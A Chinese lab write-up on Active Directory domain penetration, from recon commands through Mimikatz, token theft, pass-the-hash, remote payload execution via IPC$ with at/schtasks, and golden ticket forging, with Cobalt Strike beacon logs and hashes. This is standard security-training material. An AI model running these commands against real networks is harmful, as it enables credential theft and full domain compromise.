【内网渗透】内网渗透学习之域渗透常规方法

admin 2024年7月10日18:52:06评论55 views字数 5747阅读19分9秒阅读模式

域渗透常规方法和思路

    • 1、域内信息收集
    • 1.1、获取当前用户信息
    • 1.1.1、获取当前用户与域 SID
    • 1.1.2、查询指定用户的详细信息
  • 1.2、判断是否存在域
  • 1.2、查询域内所有计算机
  • 1.3、查询域内所有用户组列表
  • 1.4、查询所有域成员计算机列表
  • 1.5、获取域密码信息
  • 1.6、获取域信任信息
  • 1.7、查找域控制器
    • 1.7.1、判断用户是否在域
    • 1.7.2、查看域控制器的机器名
    • 1.7.3、查看域控制的主机名
    • 1.7.4、查看域控 IP
    • 1.7.5、查看域控制的主机名
    • 1.7.6、查看域控制器组
  • 1.8、查询当前域内存活主机
  • 2、判断本地管理员
  • 3、运行 Mimikatz读取密码
  • 4、登录认证
    • 4.1、Access Token 登录令牌
    • 4.2、散列认证
    • 4.3、IPC 连接
    • 4.4、黄金票据(Golden Ticket)
    【内网渗透】内网渗透学习之域渗透常规方法

    1、域内信息收集

    1.1、获取当前用户信息

    1.1.1、获取当前用户与域 SID

    whoami /all

    1.1.2、查询指定用户的详细信息

    # 查询本地用户详细信息net user user01# 查询域用户详细信息net user tester01 /domain

    1.2、判断是否存在域

    ipconfig /all
    systeminfo
    net view /domain
    • 若是此命令在显示域处显示 WORKGROUP,则不存在域;
    • 若是报错:发生系统错误 5,则存在域,但该用户不是域用户
    net config workstation

    net localgroup administrators 查看本机管理员(通常会包含有域用户)

    1.2、查询域内所有计算机

    net view /domain:xxx

    1.3、查询域内所有用户组列表

    net group /domain

    1.4、查询所有域成员计算机列表

    net group "domain computers" /domain

    1.5、获取域密码信息

    可以获取域密码策略设置、长短、错误锁定等信息

    net accounts /domain

    1.6、获取域信任信息

    nltest /domain_trusts

    1.7、查找域控制器

    1.7.1、判断用户是否在域

    net time /domain
    域存在且用户在域内

    存在域,当前用户不是域用户

    当前网络环境为工作组,不存在域

    1.7.2、查看域控制器的机器名

    nltest /dclist:god

    1.7.3、查看域控制的主机名

    nslookup -type=SRV _ldap._tcp

    1.7.4、查看域控 IP

    ping DC.test.lab

    nslookup dc

    判断域控制器和DNS 服务器是否在同一服务器上
    nslookup test.lab

    1.7.5、查看域控制的主机名

    nslookup -type=SRV _ldap._tcp

    1.7.6、查看域控制器组

    net group "domain controllers" /domain

    实际网络中,一个域内一般存在两台或两台以上的域控制器,作为主备。

    netdom query pdc

    netdom不是系统自带工具,需要下载安装

    1.8、查询当前域内存活主机

    利用 windows 内置命令收集

    net group "domain computers" /domain

    利用NetBIOS 探测内网
    nbtscan 192.168.52.0/24

    【内网渗透】内网渗透学习之域渗透常规方法

    2、判断本地管理员

    net localgroup "administrators"

    【内网渗透】内网渗透学习之域渗透常规方法

    3、运行 Mimikatz读取密码

    【内网渗透】内网渗透学习之域渗透常规方法

    4、登录认证

    4.1、Access Token 登录令牌

    Access Token : 保存了当前用户的权限信息,每个进程可能使用不同用户的身份启动,有不同的Access Token。如果我们想以域用户的身份做操作,这个时候就可以获得本地域用户身份的进程,然后进行token窃取。

    【内网渗透】内网渗透学习之域渗透常规方法

    以下是令牌窃取的过程:

    1. 使用 ps 列出进程
    2. 使用 steal_token [pid] 窃取令牌
    3. 使用 getuid 找到你是谁
    4. 使用 rev2self移除令牌

    方法1:偷取token

    到进程中偷取token:

    右键要横向的主机,选择psexec64:

    选择一个已经获得的凭据或者勾选使用当前令牌,并选择监听器与会话即可:

    当密码输入错误时,执行上面的两个命令就会提示 登录失败: 未知的用户名或错误密码。 同样的使用 rev2self 可除去当前令牌,恢复原来的SYSTEM 权限

    方法2:制作token
    查看当前用户身份信息是否本地域用户,如不是则需要获取本地域用户的进程:

    steal_token 2116

    使用命令make_token domainuser password伪造一个token:

    查看一下当前会话 uid

    访问dc的默认共享:

    4.2、散列认证

    • mimikatz 使用登录令牌开启了一个进程,在单点登录信息那里填入我们提供的用户名称、域、密码哈希值
    • cobalt strike自动的从那个进程中窃取令牌并关闭

    复制ntm哈希

    pth 命令获取信任
    pth GODAdministrator f76d5be6348a96263e8bcb0f49552fbb

    最后使用命令移除当前窃取的令牌

    rev2self

    4.3、IPC 连接

    IPC ( Internet Process Connection)共享“命名管道”的资源,是为了实现进程间通信而开放的命名管道。IPC可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用。
    通过 ipc$,可以与目标机器建立连接。利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。

    • 利用条件:

    • 开启了139、445端口;
    • 管理员开启了默认共享;
  • 连接失败原因:

    • 用户名密码错误。
    • 目标没有打开ipc$默认共享。
    • 不能成功连接目标的139、445端口
    • 命令输入错误。

    建立一个ipc$
    前提需要获取到账号密码,需要使用logonpasswords读取

    shell net use \192.168.52.138ipc$ "xiaoc@123" /user:administrator

    在使用net use 命令与远程目标机器建立ipc$后,可以使用dir 命令列出远程主机中的文件。

    shell dir \192.168.52.138c$

    在使用net use 命令与远程目标机器建立ipc$后,可以未使用tasklist命令的/S参数列出远程主机上运行的进程。

    使用net time命令确定远程机器当前的系统时间。

    shell tasklist /S 192.168.52.138

    添加计划任务

    at是Windows自带的用于创建计时任务的命令,它主要工作在Windows Server 2008
    之前版本的操作系统中。使用at命令在远程目标机器上创建计划任务的流程大致如下 因为当前域控服务器使用的是server2008

    复制远程文件到目标服务器上(域控服务器,假设可以出网)
    shell copy C:UsersAdministratorDesktoptestartifact_x86.exe \192.168.52.138c$

    使用at命令添加定时执行payload文件
    shell at \192.168.52.138 9:22:00 c:testartifact_x86.exe

    执行成功

    删除使用at 命令创建计划任务的记录。
    shell at \10.1.1.2 2 /del

    Windows Vista、Windows Server 2008 及之后版本的操作系统已经将at命令废弃了。于是,攻击者开始使用schtasks命令代替at命令。schtasks命令比 at命令更为灵活、自由。

    shell schtasks /create /s 10.1.1.2 /tn test /sc onstart /tr c:test_msf_local.exe /ru system /f
    这条命令的解释是在IP 为10.1.1.2主机上创建一个开启自启动的定时任务,定时任务名称为test,以system 的权限执test_msf_local.exe。若定时任务存在,则发出警告。如果未与目标主机建立IPC连接,需要输入用户名和密码的参数,在末尾追加:/u administrator /p “密码”。

    在使用schtasks命令时,会在系统中留下日志文件C:WindowsTasksSchedLgU.txt。如果执行schtasks命令后没有回显,可以配合ipc$执行文件,使用type命令远程查看执行结果。

    删除任务
    schtasks /delete /s 10.1.1.2 /tn "test" /f

    删除ipc$连接

    • net use \目标ip /del /y

    • 在使用schtasks命令时,会在系统中留下日志文件C:WindowsTasksSchedLgU.txt。如果执行schtasks命令后没有回显,可以配合ipc$执行文件,使用type命令远程查看执行结果。

    4.4、黄金票据(Golden Ticket)

    获取用户名、域名、域的SID值

    # 获取当前域[07/10 10:43:39] beacon> shell net view /domain[07/10 10:43:39] [*] Tasked beacon to run: net view /domain[07/10 10:43:40] [+] host called home, sent: 47 bytes[07/10 10:43:53] [+] received output:
    Domain

    -------------------------------------------------------------------------------
    GOD
    命令成功完成。# 获取域内用户[07/10 10:44:17] beacon> shell net view /domain:god[07/10 10:44:17] [*] Tasked beacon to run: net view /domain:god[07/10 10:44:17] [+] host called home, sent: 51 bytes[07/10 10:44:43] [+] received output:
    服务器名称 注解

    -------------------------------------------------------------------------------OWA ROOT-TVI862UBEH
    命令成功完成。[07/10 10:45:02] beacon> shell whoami /user[07/10 10:45:02] [*] Tasked beacon to run: whoami /user[07/10 10:45:02] [+] host called home, sent: 43 bytes[07/10 10:45:02] [+] received output:

    用户信息
    ----------------

    用户名 SID ================= =============================================godadministrator S-1-5-21-2952760202-1353902439-2381784089-500#域的 SID 值即安全标识符 Security Identifiers,使用 whoami /user 命令可查看,注意不需要 SID 最后的一组数字#SID 就是S-1-5-21-2952760202-1353902439-2381784089

    获取DC 中 KRBTGT 用户的 NTLM 哈希

    DC 中 KRBTGT 用户的 NTLM 哈希可以通过 dcsync 或 hashdump 获得,也可以使用powershell加载mimikatz获取

    OWAkrbtgt 58e91a5ac358d86513ab224312314061

    右击会话,生成黄金票据

    注意: Domain 需要填写成 FQDN 格式,即完全合格域名 Fully Qualified Domain Name ,也就是类似于
    teamssix.com 的格式

    [07/10 10:57:38] beacon> mimikatz kerberos::golden /user:administrator /domain:god.cm /sid:S-1-5-21-2952760202-1353902439-2381784089 /krbtgt:58e91a5ac358d86513ab224312314061 /endin:480 /renewmax:10080 /ptt[07/10 10:57:38] [*] Tasked beacon to run mimikatz's kerberos::golden /user:administrator /domain:god.cm /sid:S-1-5-21-2952760202-1353902439-2381784089 /krbtgt:58e91a5ac358d86513ab224312314061 /endin:480 /renewmax:10080 /ptt command
    [07/10 10:57:38] [+] host called home, sent: 313667 bytes
    [07/10 10:57:40] [+] received output:
    User      : administrator
    Domain    : god.cm (GOD)
    SID       : S-1-5-21-2952760202-1353902439-2381784089
    User Id   : 500
    Groups Id : *513 512 520 518 519 
    ServiceKey: 58e91a5ac358d86513ab224312314061 - rc4_hmac_nt      
    Lifetime  : 2024/7/10 10:57:38 ; 2024/7/10 18:57:38 ; 2024/7/17 10:57:38
    -> Ticket : ** Pass The Ticket **

    * PAC generated
    * PAC signed
    * EncTicketPart generated
    * EncTicketPart encrypted
    * KrbCred generated

    Golden ticket for 'administrator @ god.cm' successfully submitted for current session

    建立好黄金票据之后内可以使用命令判断当前权限(票据存在生存时间过期失效)

    shell dir DCC$

    原文始发于微信公众号(小C学安全):【内网渗透】内网渗透学习之域渗透常规方法

    免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
    • 左青龙
    • 微信扫一扫
    • weinxin
    • 右白虎
    • 微信扫一扫
    • weinxin
    admin
    • 本文由 发表于 2024年7月10日18:52:06
    • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                     【内网渗透】内网渗透学习之域渗透常规方法http://cn-sec.com/archives/2939803.html
                    免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

    发表评论

    匿名网友 填写信息